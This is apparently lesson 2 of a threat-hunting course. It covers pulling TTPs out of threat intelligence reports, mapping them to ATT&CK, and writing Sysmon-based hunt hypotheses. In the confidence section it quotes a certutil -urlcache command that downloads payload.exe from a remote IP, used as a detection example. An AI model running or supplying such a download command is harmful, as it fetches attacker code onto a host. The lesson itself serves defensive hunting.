Lesson 2 of 5 · 30 min read

Reading CTI Reports for Hunts — TTP Extraction and ATT&CK Mapping

A 30-page CTI report contains at most 5–7 hunt-ready hypotheses. The rest is attribution, geopolitics, infrastructure lists, and context that won’t help you query your SIEM. The hunter’s job is to extract the behavioral signal and discard the rest.


The 3-Pass CTI Read

Pass 1: Scope Assessment (5 minutes, skim)

Questions to answer:

Decision gate: If the actor doesn’t target organizations like ours AND the campaign ended 18+ months ago → file for reference, do not generate hypotheses. Resource constraint: every hunt hypothesis competes with others for analyst time.

Pass 2: TTP Extraction (20 minutes, detailed read)

For every described adversary action, extract:

Action described in report:                → ATT&CK technique:
"Sent phishing email with Word attachment" → T1566.001 (Spearphishing Attachment)
"Macro ran PowerShell encoded command"     → T1059.001 (PowerShell) + T1204.002
"Downloaded second stage via certutil"     → T1218.003 (Certutil)
"Installed WMI subscription for persist."  → T1546.003 (WMI Event Subscription)
"Dumped LSASS for credentials"             → T1003.001 (LSASS Memory)
"Lateral movement via PsExec"              → T1021.002 (SMB/WinRM via PsExec)
"Used Cobalt Strike default profile"       → T1071.001 (Web Protocols)

Prioritization: Not all TTPs are equally huntable. Score each:

TTPObservable artifactLog source available?Hunt priority
T1566.001Email headers, attachment hashEmail gateway, M365 UALHigh
T1059.001Sysmon Event 1, PowerShell 4104SIEM (if Sysmon deployed)High
T1218.003certutil command lineSysmon Event 1High
T1546.003Sysmon Event 19/20/21, WMI querySIEM (if WMI events collected)Medium
T1003.001Sysmon Event 10 (LSASS access), memorySIEM + memory (harder)Medium
T1021.002WinEvt 4624 Type 3, SMBSIEMHigh

Pass 3: Hypothesis Generation (15 minutes)

For each high-priority TTP, write one hypothesis:

TTP: T1218.003 (Certutil)

Hypothesis: "An adversary targeting organizations in our sector has been observed 
             using certutil.exe with the -urlcache flag to download second-stage 
             payloads from attacker-controlled web servers. If this technique was 
             used against our environment between 2024-06-01 and 2024-09-01, we 
             would observe Sysmon Event 1 with Image=certutil.exe and CommandLine 
             containing '-urlcache' or '-f http'. The parent process would likely 
             be cmd.exe spawned by a user application (Office, browser)."

Data required: Sysmon Event 1, 90 days retention
Validation: Confirm Sysmon command line logging is enabled for all endpoints

ATT&CK Mapping with Confidence Levels

CTI reports assign implicit or explicit confidence to technique mappings. A hunter must recognize and act on confidence signals.

High-Confidence Mapping Indicators

Report text: "The malware executed the following command observed in sandbox analysis:
              certutil.exe -urlcache -f http://185.220.101.9/payload.exe C:\Temp\run.exe"

→ Confidence: HIGH — specific command observed
→ Hunt: query Sysmon Event 1 for exact parameter pattern

Low-Confidence Mapping Indicators

Report text: "The actor likely maintained persistence using a Windows mechanism,
              possibly scheduled tasks or registry run keys."

→ Confidence: LOW — inferred, multiple techniques possible
→ Hunt: generate hypotheses for BOTH T1053.005 and T1547.001, 
        require additional corroboration before escalating

Mapping Confidence → Hunt Action

CTI SignalConfidenceHunt Action
Specific command/artifact shownHIGHHunt directly; single corroborating indicator sufficient to flag
Behavioral description matches single techniqueMEDIUMHunt with tighter filters; require 2 corroborating signals
”Suspected”, “likely”, technique inferredLOWHunt but require 3 signals; document as “low-confidence lead”
Attribution without observable TTPNONECannot hunt; request additional technical details from CTI producer